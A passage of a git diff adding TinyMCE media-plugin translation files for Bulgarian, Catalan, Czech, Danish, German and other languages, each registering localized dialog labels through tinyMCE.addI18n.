ilm\u0259l\u0259r",console:"Konsol",cache:"Ke\u015f",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"T\u0259m\u0259l",bgcolor:"Fon",wmode:"WMode",salign:"SAlign",align:"Tarazla\u015fmaq",scale:"Miqyas",quality:"Keyfiyy\u0259t",shuffle:"Qar\u0131\u015fd\u0131r",prefetch:"\u00d6n-g\u0259tirm\u0259",nojava:"Java yox",maintainaspect:"Aspekti qoru",imagestatus:"\u015e\u0259kil statusu",center:"M\u0259rk\u0259z",autogotourl:"Avtomatik gedil\u0259c\u0259k URL","shockwave_options":"Shockwave nizamlamalar\u0131","rmp_options":"Real media player nizamlamalar\u0131","wmp_options":"Windows media player nizamlamalar\u0131","qt_options":"Quicktime nizamlamalar\u0131","flash_options":"Flash nizamlamalar\u0131",hidden:"Gizli","align_bottom_left":"A\u015fa\u011f\u0131 sol","align_bottom_right":"A\u015fa\u011f\u0131 sa\u011f","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/bg_dlg.js b/js/tiny_mce/plugins/media/langs/bg_dlg.js new file mode 100755 index 0000000..b94de4b --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.media_dlg',{list:"\u0421\u043f\u0438\u0441\u044a\u043a",file:"\u0424\u0430\u0439\u043b/URL",advanced:"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438",general:"\u041e\u0431\u0449\u0438",title:"\u0412\u043c\u044a\u043a\u043d\u0438/\u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u043c\u0435\u0434\u0438\u044f","align_top_left":"\u0413\u043e\u0440\u0435 \u043b\u044f\u0432\u043e","align_center":"\u0426\u0435\u043d\u0442\u044a\u0440","align_left":"\u041b\u044f\u0432\u043e","align_bottom":"\u0414\u043e\u043b\u0443","align_right":"\u0414\u044f\u0441\u043d\u043e","align_top":"\u0413\u043e\u0440\u0435","qt_stream_warn":"\u041f\u043e\u0442\u043e\u0447\u043d\u0438\u0442\u0435 rtsp \u0440\u0435\u0441\u0443\u0440\u0441\u0438 \u0442\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0441\u0435 \u0434\u043e\u0431\u0430\u0432\u044f\u0442 \u0432 QT Src \u043f\u043e\u043b\u0435\u0442\u043e \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 \u0437\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438.\n\u0422\u0440\u044f\u0431\u0432\u0430 \u0441\u044a\u0449\u043e \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0435 \u043f\u043e\u0442\u043e\u0447\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f \u0432 Src \u043f\u043e\u043b\u0435\u0442\u043e..",qtsrc:"QT Src",progress:"\u041f\u0440\u043e\u0433\u0440\u0435\u0441",sound:"\u0417\u0432\u0443\u043a",swstretchvalign:"\u0420\u0430\u0437\u043f\u044a\u0432\u0430\u043d\u0435 V-Align",swstretchhalign:"\u0420\u0430\u0437\u043f\u044a\u0432\u0430\u043d\u0435 H-Align",swstretchstyle:"\u0421\u0442\u0438\u043b \u043d\u0430 \u0440\u0430\u0437\u043f\u044a\u0432\u0430\u043d\u0435",scriptcallbacks:"Script callbacks","align_top_right":"\u0413\u043e\u0440\u0435 \u0434\u044f\u0441\u043d\u043e",uimode:"UI \u0440\u0435\u0436\u0438\u043c",rate:"\u0411\u044a\u0440\u0437\u0438\u043d\u0430",playcount:"\u0411\u0440\u043e\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u044f",defaultframe:"\u041d\u0430\u0447\u0430\u043b\u0435\u043d \u043a\u0430\u0434\u044a\u0440",currentposition:"\u0422\u0435\u043a\u0443\u0449\u0430 \u043f\u043e\u0437\u0438\u0446\u0438\u044f",currentmarker:"\u0422\u0435\u043a\u0443\u0449 \u043c\u0430\u0440\u043a\u0435\u0440",captioningid:"\u041d\u0430\u0434\u043f\u0438\u0441\u0432\u0430\u043d\u0435 id",baseurl:"\u0411\u0430\u0437\u043e\u0432\u043e URL",balance:"\u0411\u0430\u043b\u0430\u043d\u0441",windowlessvideo:"\u0412\u0438\u0434\u0435\u043e \u0431\u0435\u0437 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446",stretchtofit:"\u0420\u0430\u0437\u043f\u044a\u043d\u0438",mute:"\u0417\u0430\u0433\u043b\u0443\u0448\u0438",invokeurls:"Invoke URLs",fullscreen:"\u0426\u044f\u043b \u0435\u043a\u0440\u0430\u043d",enabled:"\u0412\u043a\u043b\u044e\u0447\u0435\u043d",autostart:"\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u043d\u043e \u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u043d\u0435",volume:"\u0421\u0438\u043b\u0430 \u043d\u0430 \u0437\u0432\u0443\u043a\u0430",target:"\u0426\u0435\u043b",qtsrcchokespeed:"\u041f\u0440\u0435\u0434\u0435\u043b\u043d\u0430 \u0441\u043a\u043e\u0440\u043e\u0441\u0442",href:"Href",endtime:"\u0412\u0440\u0435\u043c\u0435 \u0437\u0430 \u043a\u0440\u0430\u0439",starttime:"\u0412\u0440\u0435\u043c\u0435 \u0437\u0430 \u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u043d\u0435",enablejavascript:"\u0412\u043a\u043b\u044e\u0447\u0438 JavaScript",correction:"\u0411\u0435\u0437 \u043f\u043e\u043f\u0440\u0430\u0432\u043a\u0438",targetcache:"\u0426\u0435\u043b\u0435\u0432\u0438 \u043a\u0435\u0448",playeveryframe:"\u041f\u043e\u043a\u0430\u0437\u0432\u0430\u0439 \u0432\u0441\u0435\u043a\u0438 \u043a\u0430\u0434\u044a\u0440",kioskmode:"Kiosk \u0440\u0435\u0436\u0438\u043c",controller:"\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u0440",menu:"\u041f\u043e\u043a\u0430\u0436\u0438 \u043c\u0435\u043d\u044e",loop:"\u041f\u043e\u0432\u0442\u0430\u0440\u044f\u0439",play:"\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u043d\u043e \u043f\u0443\u0441\u043a\u0430\u043d\u0435",hspace:"H-Space",vspace:"V-Space","class_name":"\u041a\u043b\u0430\u0441",name:"\u0418\u043c\u0435",id:"Id",type:"\u0422\u0438\u043f",size:"\u0420\u0430\u0437\u043c\u0435\u0440\u0438",preview:"\u041f\u0440\u0435\u0433\u043b\u0435\u0434","constrain_proportions":"\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0438\u0438\u0442\u0435",controls:"\u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435",numloop:"\u0411\u0440\u043e\u0439 \u043f\u043e\u0432\u0442\u043e\u0440\u0435\u043d\u0438\u044f",console:"\u041a\u043e\u043d\u0437\u043e\u043b\u0430",cache:"\u041a\u0435\u0448",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"\u0424\u043b\u0430\u0448 \u043f\u0440\u043e\u043c\u0435\u043d\u043b\u0438\u0432\u0438",base:"\u041e\u0441\u043d\u043e\u0432\u0430",bgcolor:"\u0424\u043e\u043d",wmode:"WMode",salign:"SAlign",align:"\u041f\u043e\u0434\u0440\u0430\u0432\u043d\u044f\u0432\u0430\u043d\u0435",scale:"\u041f\u0440\u0435\u043e\u0440\u0430\u0437\u043c\u0435\u0440\u0438",quality:"\u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e",shuffle:"\u0420\u0430\u0437\u0431\u044a\u0440\u043a\u0430\u0439",prefetch:"\u0421\u0432\u0430\u043b\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e",nojava:"\u0411\u0435\u0437 JAVA",maintainaspect:"\u041f\u043e\u0434\u0434\u044a\u0440\u0436\u0430\u0439 \u0441\u044a\u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435\u0442\u043e",imagestatus:"\u0421\u0442\u0430\u0442\u0443\u0441 \u043d\u0430 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430",center:"\u0426\u0435\u043d\u0442\u044a\u0440",autogotourl:"\u041e\u0442\u0438\u0434\u0438 \u043d\u0430 URL","shockwave_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Shockwave","rmp_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Real media player","wmp_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Windows media player","qt_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Quicktime","flash_options":"\u041e\u043f\u0446\u0438\u0438 \u0437\u0430 Flash",hidden:"\u0421\u043a\u0440\u0438\u0442","align_bottom_left":"\u0414\u043e\u043b\u0443 \u043b\u044f\u0432\u043e","align_bottom_right":"\u0414\u043e\u043b\u0443 \u0434\u044f\u0441\u043d\u043e",flash:"\u0424\u043b\u0430\u0448 \u0444\u0430\u0439\u043b",quicktime:"Quick Time","embedded_audio_options":"\u0412\u0433\u0440\u0430\u0434\u0435\u043d\u0438 \u0430\u0443\u0434\u0438\u043e \u043e\u043f\u0446\u0438\u0438",windowsmedia:"Windows Media Player",realmedia:"Real Media",shockwave:"Shockwave",audio:"\u0417\u0432\u0443\u043a",video:"\u0412\u0438\u0434\u0435\u043e","html5_video_options":"HTML5 \u0412\u0438\u0434\u0435\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438",altsource1:"\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0435\u043d \u0438\u0437\u0442\u043e\u0447\u043d\u0438\u043a 1",altsource2:"\u0410\u043b\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0435\u043d \u0438\u0437\u0442\u043e\u0447\u043d\u0438\u043a 2",preload:"\u041f\u0440\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e \u0437\u0430\u0440\u0435\u0436\u0434\u0430\u043d\u0435",poster:"\u041f\u043b\u0430\u043a\u0430\u0442",source:"\u0418\u0437\u0442\u043e\u0447\u043d\u0438\u043a","html5_audio_options":"\u0410\u0443\u0434\u0438\u043e \u041e\u043f\u0446\u0438\u0438","preload_none":"\u041d\u0435 \u0437\u0430\u0440\u0435\u0436\u0434\u0430\u0439 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e","preload_metadata":"\u0417\u0430\u0440\u0435\u0434\u0438 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u043d\u043e \u0432\u0438\u0435\u0434\u043e \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u0438\u0442\u0435","preload_auto":"\u041d\u0435\u043a\u0430 \u0431\u0440\u0430\u0443\u0437\u044a\u0440\u044a\u0442 \u043d\u0430 \u043f\u043e\u0442\u0440\u0435\u0431\u0438\u0442\u0435\u043b\u044f \u0440\u0435\u0448\u0438",iframe:"\u041b\u043e\u043a\u0430\u043b\u0435\u043d \u0444\u0440\u0435\u0439\u043c(iframe)",embeddedaudio:"\u0412\u0433\u0440\u0430\u0434\u0435\u043d\u043e \u0430\u0443\u0434\u0438\u043e"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/ca_dlg.js b/js/tiny_mce/plugins/media/langs/ca_dlg.js new file mode 100755 index 0000000..1162d4e --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.media_dlg',{list:"Llista",file:"Fitxer/URL",advanced:"Avan\u00e7at",general:"General",title:"Insereix / edita multim\u00e8dia incrustada","align_top_left":"Superior esquerra","align_center":"Centre","align_left":"Esquerra","align_bottom":"Inferior","align_right":"Dreta","align_top":"Superior","qt_stream_warn":"Els recursos rtsp fets flux s\'haurien d\'afegir al camp QT Src sota la pestanya avan\u00e7ada.\nTamb\u00e9 haur\u00edeu d\'afegir una versi\u00f3 no feta flux al camp Src..",qtsrc:"QT Src",progress:"Progr\u00e9s",sound:"S\u00f2",swstretchvalign:"Alineaci\u00f3 vertical de l\'extensor",swstretchhalign:"Alineaci\u00f3 horitzontal de l\'extensor",swstretchstyle:"Estil de l\'extensor",scriptcallbacks:"Crides de retorn a script","align_top_right":"Superior dreta",uimode:"Mode UI",rate:"Velocitat",playcount:"Compte de reproducci\u00f3",defaultframe:"Marc per defecte",currentposition:"Posici\u00f3 actual",currentmarker:"Retolador actual",captioningid:"Id nominal",baseurl:"URL base",balance:"Equilibri",windowlessvideo:"V\u00eddeo sense finestra",stretchtofit:"Estirar fins a encaixar",mute:"Silenci",invokeurls:"Invoca els URL",fullscreen:"Pantalla completa",enabled:"Habilitat",autostart:"Inici autom\u00e0tic",volume:"Volumen",target:"Dest\u00ed",qtsrcchokespeed:"Velocitat",href:"Href",endtime:"Fi",starttime:"Inici",enablejavascript:"Habilita el javascript",correction:"Sense correcci\u00f3",targetcache:"Target cache",playeveryframe:"Reprodueix cada marc",kioskmode:"Mode quiosc",controller:"Controlador",menu:"Mostra el men\u00fa",loop:"Bucle",play:"Reproducci\u00f3 autom\u00e0tica",hspace:"Espai horitzontal",vspace:"Espai vertical","class_name":"Classe",name:"Nom",id:"Id",type:"Tipus",size:"Dimensions",preview:"Previsualitzaci\u00f3","constrain_proportions":"Mant\u00e9 les proporcions",controls:"Controls",numloop:"Nre. bucles",console:"Consola",cache:"Mem\u00f2ria cau",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Fons",wmode:"Mode W",salign:"Alinea S",align:"Alinea",scale:"Escala",quality:"Qualitat",shuffle:"Shuffle",prefetch:"Prec\u00e0rrega",nojava:"Sense java",maintainaspect:"Mant\u00e9 l\'aspecte",imagestatus:"Estat de la imatge",center:"Alinea al centre",autogotourl:"URL goto autom\u00e0tic","shockwave_options":"Opcions del Shockwave","rmp_options":"Opcions del Real media player","wmp_options":"Opcions del Windows media player","qt_options":"Opcions del Quicktime","flash_options":"Opcions del Flash",hidden:"Ocult","align_bottom_left":"Inferior esquerra","align_bottom_right":"Inferior dreta",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Opcions d\'audio incrustat",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Opcions de v\u00eddeo HTML5",altsource1:"Font alternatiu 1",altsource2:"Font alternatiu 2",preload:"Pre-c\u00e0rrega",poster:"Anunci",source:"Font","html5_audio_options":"Opcions d\'audio","preload_none":"No precarregar","preload_metadata":"Precarregar metadata de v\u00eddeo","preload_auto":"Deixar decidir a l\'usuari del navegador",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/cs_dlg.js b/js/tiny_mce/plugins/media/langs/cs_dlg.js new file mode 100755 index 0000000..b126861 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.media_dlg',{list:"Seznam",file:"Soubor/URL",advanced:"Roz\u0161\u00ed\u0159en\u00e9",general:"Obecn\u00e9",title:"Vlo\u017eit/upravit vkl\u00e1dan\u00e1 m\u00e9dia","align_top_left":"Nahoru vlevo","align_center":"Na st\u0159ed","align_left":"Vlevo","align_bottom":"Dol\u016f","align_right":"Vpravo","align_top":"Nahoru","qt_stream_warn":"Streamovan\u00e9 rtsp zdroje mohou b\u00fdt p\u0159id\u00e1ny do pole \'Soubor/URL streamu pro QT\' na z\u00e1lo\u017ece \'Roz\u0161\u00ed\u0159en\u00e9\'.\nYM\u016f\u017eete tak\u00e9 p\u0159idat nestreamovanou verzi do pole \'Soubor/URL\'.",qtsrc:"Soubor/URL streamu pro QT",progress:"Pr\u016fb\u011bh",sound:"Zvuk",swstretchvalign:"Zarovn\u00e1n\u00ed vert. rozta\u017een\u00ed",swstretchhalign:"Zarovn\u00e1n\u00ed horiz. rozta\u017een\u00ed",swstretchstyle:"Styl rozta\u017een\u00ed",scriptcallbacks:"Skripty zp\u011btn\u00fdch vol\u00e1n\u00ed","align_top_right":"Nahoru vpravo",uimode:"Re\u017eim ovl\u00e1dac\u00edho panelu",rate:"Relativn\u00ed rychlost",playcount:"Po\u010det p\u0159ehr\u00e1n\u00ed",defaultframe:"V\u00fdchoz\u00ed sn\u00edmek",currentposition:"Aktu\u00e1ln\u00ed pozice",currentmarker:"Aktu\u00e1ln\u00ed z\u00e1lo\u017eka",captioningid:"ID popisku m\u00e9dia",baseurl:"Z\u00e1kladn\u00ed URL",balance:"Vyv\u00e1\u017een\u00ed",windowlessvideo:"Video bez okna",stretchtofit:"Rozt\u00e1hnout do okna",mute:"Ztlumit",invokeurls:"Po\u017eadovat URL",fullscreen:"Cel\u00e1 obrazovka",enabled:"Povolit ovl\u00e1dac\u00ed panel",autostart:"Automatick\u00e9 spu\u0161t\u011bn\u00ed",volume:"Hlasitost",target:"C\u00edl",qtsrcchokespeed:"Sn\u00ed\u017een\u00ed rychlosti",href:"Odkaz",endtime:"\u010cas ukon\u010den\u00ed",starttime:"Po\u010d\u00e1te\u010dn\u00ed \u010das",enablejavascript:"Povolit Javascript",correction:"Bez korekc\u00ed",targetcache:"C\u00edlov\u00e1 mezipam\u011b\u0165",playeveryframe:"P\u0159ehr\u00e1t ka\u017ed\u00fd sn\u00edmek",kioskmode:"Zak\u00e1zat ukl\u00e1d\u00e1n\u00ed",controller:"Ovl\u00e1dac\u00ed panel",menu:"Zobrazit nab\u00eddku",loop:"Opakov\u00e1n\u00ed",play:"Automatick\u00e9 p\u0159ehr\u00e1v\u00e1n\u00ed",hspace:"Horizont\u00e1ln\u00ed odsazen\u00ed",vspace:"Vertik\u00e1ln\u00ed odsazen\u00ed","class_name":"T\u0159\u00edda",name:"N\u00e1zev",id:"ID",type:"Typ",size:"Rozm\u011bry",preview:"N\u00e1hled","constrain_proportions":"Zachovat proporce",controls:"Ovl\u00e1dac\u00ed panel",numloop:"Po\u010det opakov\u00e1n\u00ed",console:"Konzola",cache:"Mezipam\u011b\u0165",autohref:"Automatick\u00e9 na\u010dten\u00ed",liveconnect:"Spustit Javu (SWLiveConnect)",flashvars:"Parametry (Flashvars)",base:"Z\u00e1kladn\u00ed slo\u017eka",bgcolor:"Pozad\u00ed",wmode:"Re\u017eim okna",salign:"Zarovn\u00e1n\u00ed okna",align:"Zarovn\u00e1n\u00ed",scale:"Pom\u011br",quality:"Kvalita",shuffle:"N\u00e1hodn\u011b",prefetch:"P\u0159edna\u010dten\u00ed",nojava:"Nespout\u011bt Javu",maintainaspect:"Zachovat pom\u011br stran",imagestatus:"Stav obrazu",center:"Na st\u0159ed",autogotourl:"Automatick\u00fd p\u0159echod na URL","shockwave_options":"Mo\u017enosti Shockwave","rmp_options":"Mo\u017enosti p\u0159ehr\u00e1va\u010de Real media","wmp_options":"Mo\u017enosti p\u0159ehr\u00e1va\u010de Windows media","qt_options":"Mo\u017enosti Quicktime","flash_options":"Mo\u017enosti Flashe",hidden:"Skr\u00fdt","align_bottom_left":"Dol\u016f vlevo","align_bottom_right":"Dol\u016f vpravo",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Volby vlo\u017een\u00e9ho audio souboru",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Mo\u017enosti HTML5 video",altsource1:"Alternativn\u00ed zdroj 1",altsource2:"Alternativn\u00ed zdroj 2",preload:"P\u0159edna\u010d\u00edst",poster:"Obr\u00e1zek (zobraz\u00ed se p\u0159i nedostupnosti videa)",source:"Zdroj","html5_audio_options":"Parametry zvuku","preload_none":"Nena\u010d\u00edtat p\u0159edem","preload_metadata":"Na\u010d\u00edst video metadata p\u0159edem","preload_auto":"Ur\u010d\u00ed prohl\u00ed\u017ee\u010d",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/da_dlg.js b/js/tiny_mce/plugins/media/langs/da_dlg.js new file mode 100755 index 0000000..d9a88d1 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/da_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('da.media_dlg',{list:"Liste",file:"Fil/URL",advanced:"Avanceret",general:"Generelt",title:"Inds\u00e6t/rediger indlejret mediefil","align_top_left":"\u00d8verste venstre hj\u00f8rne","align_center":"Centreret","align_left":"Venstre","align_bottom":"Bund","align_right":"H\u00f8jret","align_top":"Top","qt_stream_warn":"Streamede rtsp resourcer skal tilf\u00f8jes til QT Src feltet under tabben avanceret.\nDu skal ogs\u00e5 tilf\u00f8je en ikke streamet version til Src feltet..",qtsrc:"QT Src",progress:"Fremskridt",sound:"Lyd",swstretchvalign:"Str\u00e6k V-justering",swstretchhalign:"Str\u00e6k H-justering",swstretchstyle:"Str\u00e6k stil",scriptcallbacks:"Script callbacks","align_top_right":"\u00d8verste h\u00f8jre hj\u00f8rne",uimode:"UI-tilstand",rate:"Vurder",playcount:"Afspil indhold",defaultframe:"Standard ramme",currentposition:"Aktuel position",currentmarker:"Aktuel mark\u00f8r",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Vinduesl\u00f8s video",stretchtofit:"Str\u00e6k for at tilpasse",mute:"Lydl\u00f8s",invokeurls:"Aktiver URL\'er",fullscreen:"Fuldsk\u00e6rm",enabled:"Valgt",autostart:"Afspil automatisk",volume:"Lydstyrke",target:"M\u00e5l",qtsrcchokespeed:"Choke-hastighed",href:"Href",endtime:"Sluttidspunkt",starttime:"Starttidspunkt",enablejavascript:"Tillad JavaScript",correction:"Ingen korrektion",targetcache:"M\u00e5l-cache",playeveryframe:"Afsplil alle rammer",kioskmode:"Kiosk-tilstand",controller:"Controller",menu:"Vis menu",loop:"Gentag",play:"Start",hspace:"H-afstand",vspace:"V-afstand","class_name":"Klasse",name:"Navn",id:"Id",type:"Type",size:"Dimensioner",preview:"Vis udskrift","constrain_proportions":"Bevar proportioner",controls:"Kontroller",numloop:"Antal loops",console:"Konsol",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Baggrund",wmode:"WMode",salign:"SAlign",align:"Juster",scale:"Skaler",quality:"Kvalitet",shuffle:"Bland",prefetch:"Forh\u00e5ndshent",nojava:"Ingen java",maintainaspect:"Bevar aspekt",imagestatus:"Billedstatus",center:"Center",autogotourl:"Auto g\u00e5 til URL","shockwave_options":"Shockwave options","rmp_options":"Real media player egenskaber","wmp_options":"Windows media player egenskaber","qt_options":"Quicktime egenskaber","flash_options":"Flash egenskaber",hidden:"Skjul","align_bottom_left":"Nederste venstre hj\u00f8rne","align_bottom_right":"\u00d8verste h\u00f8jre hj\u00f8rne",flash:"Flash",quicktime:"Quicktime","embedded_audio_options":"Indstillinger for indlejret audio",windowsmedia:"Windows Media",realmedia:"Realmedia",shockwave:"Shockwave",audio:"Lyd",video:"Video","html5_video_options":"HTML5 Video Indstillinger",altsource1:"Alternativ kilde 1",altsource2:"Alternativ kilde 2",preload:"Forudindl\u00e6s",poster:"Poster",source:"Kilde","html5_audio_options":"Audio indstillinger","preload_none":"Preindl\u00e6s ikke","preload_metadata":"Preindl\u00e6s video metadata","preload_auto":"Lad brugerens browser v\u00e6lge",iframe:"iframe",embeddedaudio:"Indlejret lyd"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/de_dlg.js b/js/tiny_mce/plugins/media/langs/de_dlg.js new file mode 100755 index 0000000..6d0de76 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/de_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('de.media_dlg',{list:"Liste",file:"Datei/URL",advanced:"Erweitert",general:"Allgemein",title:"Multimedia-Inhalte einf\u00fcgen/bearbeiten","align_top_left":"Oben Links","align_center":"Zentriert","align_left":"Links","align_bottom":"Unten","align_right":"Rechts","align_top":"Oben","qt_stream_warn":"In den Erweiterten Einstellungen sollten im Feld \'QT Src\' gestreamte RTSP Resourcen hinzugef\u00fcgt werden.\nZus\u00e4tzlich sollten Sie dort auch eine nicht-gestreamte Resource angeben.",qtsrc:"Angabe zu QT Src",progress:"Fortschritt",sound:"Ton",swstretchvalign:"Stretch V-Ausrichtung",swstretchhalign:"Stretch H-Ausrichtung",swstretchstyle:"Stretch-Art",scriptcallbacks:"Script callbacks","align_top_right":"Oben Rechts",uimode:"UI Modus",rate:"Rate",playcount:"Z\u00e4hler",defaultframe:"Frame-Voreinstellung",currentposition:"Aktuelle Position",currentmarker:"Aktueller Marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Fensterloses Video",stretchtofit:"Anzeigefl\u00e4che an verf\u00fcgbaren Platz anpassen",mute:"Stumm",invokeurls:"Invoke URLs",fullscreen:"Vollbild",enabled:"Aktiviert",autostart:"Autostart",volume:"Lautst\u00e4rke",target:"Ziel",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"Endzeitpunkt",starttime:"Startzeitpunkt",enablejavascript:"JavaScript aktivieren",correction:"Ohne Korrektur",targetcache:"Ziel zwischenspeichern",playeveryframe:"Jeden Frame abspielen",kioskmode:"Kioskmodus",controller:"Controller",menu:"Men\u00fc anzeigen",loop:"Wiederholung",play:"Automatisches Abspielen",hspace:"Horizontaler Abstand",vspace:"Vertikaler Abstand","class_name":"CSS-Klasse",name:"Name",id:"Id",type:"Typ",size:"Abmessungen",preview:"Vorschau","constrain_proportions":"Proportionen erhalten",controls:"Steuerung",numloop:"Anzahl Wiederholungen",console:"Konsole",cache:"Zwischenspeicher",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvariablen",base:"Base",bgcolor:"Hintergrund",wmode:"WMode",salign:"S-Ausrichtung",align:"Ausrichtung",scale:"Skalierung",quality:"Qualit\u00e4t",shuffle:"Zuf\u00e4llige Wiedergabe",prefetch:"Prefetch",nojava:"Kein Java",maintainaspect:"Bildverh\u00e4ltnis beibehalten",imagestatus:"Bildstatus",center:"Zentriert",autogotourl:"Auto goto URL","shockwave_options":"Shockwave-Optionen","rmp_options":"Optionen f\u00fcr Real Media Player","wmp_options":"Optionen f\u00fcr Windows Media Player","qt_options":"Quicktime-Optionen","flash_options":"Flash-Optionen",hidden:"Versteckt","align_bottom_left":"Unten Links","align_bottom_right":"Unten Rechts",flash:"Flash",quicktime:"QuickTime","embedded_audio_options":"Integrierte Audio Optionen",windowsmedia:"WindowsMedia",realmedia:"RealMedia",shockwave:"ShockWave",audio:"Audio",video:"Video","html5_video_options":"HTML5 Video Optionen",altsource1:"Alternative Quelle 1",altsource2:"Alternative Quelle 2",preload:"Preload",poster:"Poster",source:"Quelle","html5_audio_options":"Audio Optionen","preload_none":"Nicht vorladen","preload_metadata":"Video Metadaten vorladen","preload_auto":"Benutzer Browser entscheidet automatisch",iframe:"iFrame",embeddedaudio:"Audio (eingebunden)"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/el_dlg.js b/js/tiny_mce/plugins/media/langs/el_dlg.js new file mode 100755 index 0000000..157767d --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/el_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('el.media_dlg',{list:"\u039b\u03af\u03c3\u03c4\u03b1",file:"\u0391\u03c1\u03c7\u03b5\u03af\u03bf/URL",advanced:"\u0393\u03b9\u03b1 \u03c0\u03c1\u03bf\u03c7\u03c9\u03c1\u03b7\u03bc\u03ad\u03bd\u03bf\u03c5\u03c2",general:"\u0393\u03b5\u03bd\u03b9\u03ba\u03ac",title:"\u0395\u03b9\u03c3\u03b1\u03b3\u03c9\u03b3\u03ae/\u03b5\u03c0\u03b5\u03be\u03b5\u03c1\u03b3\u03b1\u03c3\u03af\u03b1 \u03b5\u03bd\u03c3\u03c9\u03bc\u03b1\u03c4\u03c9\u03bc\u03ad\u03bd\u03c9\u03bd media","align_top_left":"\u03a0\u03ac\u03bd\u03c9 \u03b1\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_center":"\u039a\u03ad\u03bd\u03c4\u03c1\u03bf","align_left":"\u0391\u03c1\u03b9\u03c3\u03c4\u03b5\u03c1\u03ac","align_bottom":"\u039a\u03ac\u03c4\u03c9","align_right":"\u0394\u03b5\u03be\u03b9\u03ac","align_top":"\u03a0\u03ac\u03bd\u03c9","qt_stream_warn":"\u03a0\u03b7\u03b3\u03ad\u03c2 \u03c1\u03bf\u03ce\u03bd rtsp \u03b8\u03b1 \u03c0\u03c1\u03ad\u03c0\u03b5\u03b9 \u03bd\u03b1 \u03c0\u03c1\u03bf\u03c3\u03c4\u03b5\u03b8\u03bf\u03cd\u03bd \u03c3\u03c4\u03bf \u03c0\u03b5\u03b4\u03af\u03bf \u03a0\u03b7\u03b3\u03ae QT \u03ba\u03ac\u03c4\u03c9 \u03b1\u03c0\u03cc \u03c4\u03b7\u03bd \u03ba\u03b1\u03c1\u03c4\u03ad\u03bb\u03b1 \u0393\u03b9\u03b1 